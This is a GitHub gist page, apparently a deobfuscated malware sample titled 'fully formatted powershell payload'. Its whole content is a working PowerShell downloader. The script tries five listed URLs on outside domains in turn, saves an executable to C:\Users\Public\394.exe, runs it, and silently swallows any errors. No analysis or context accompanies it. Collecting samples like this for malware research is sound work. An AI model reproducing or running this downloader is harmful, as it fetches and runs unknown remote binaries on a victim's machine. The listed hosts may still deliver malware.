Skip to content

Instantly share code, notes, and snippets.

@spencerdodd
Created November 30, 2018 16:32
Show Gist options
  • Save spencerdodd/cd9949a378a4dce54c1dedd9fdcfade7 to your computer and use it in GitHub Desktop.
Save spencerdodd/cd9949a378a4dce54c1dedd9fdcfade7 to your computer and use it in GitHub Desktop.
fully formatted powershell payload
$urls = @(
"http://jany.be/UsCX",
"http://jfogal.com/C",
"http://inspekservices.co.uk/g",
"http://ilgiardinodellevisciole.it/ny",
"http://www.diman.landesigne.ru/Q"
)
foreach($url in $urls) {
try {
(new-object Net.WebClient).DownloadFile($url, "C:\Users\Public\394.exe")
Invoke-Item "C:\Users\Public\394.exe"
break
}
catch {
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment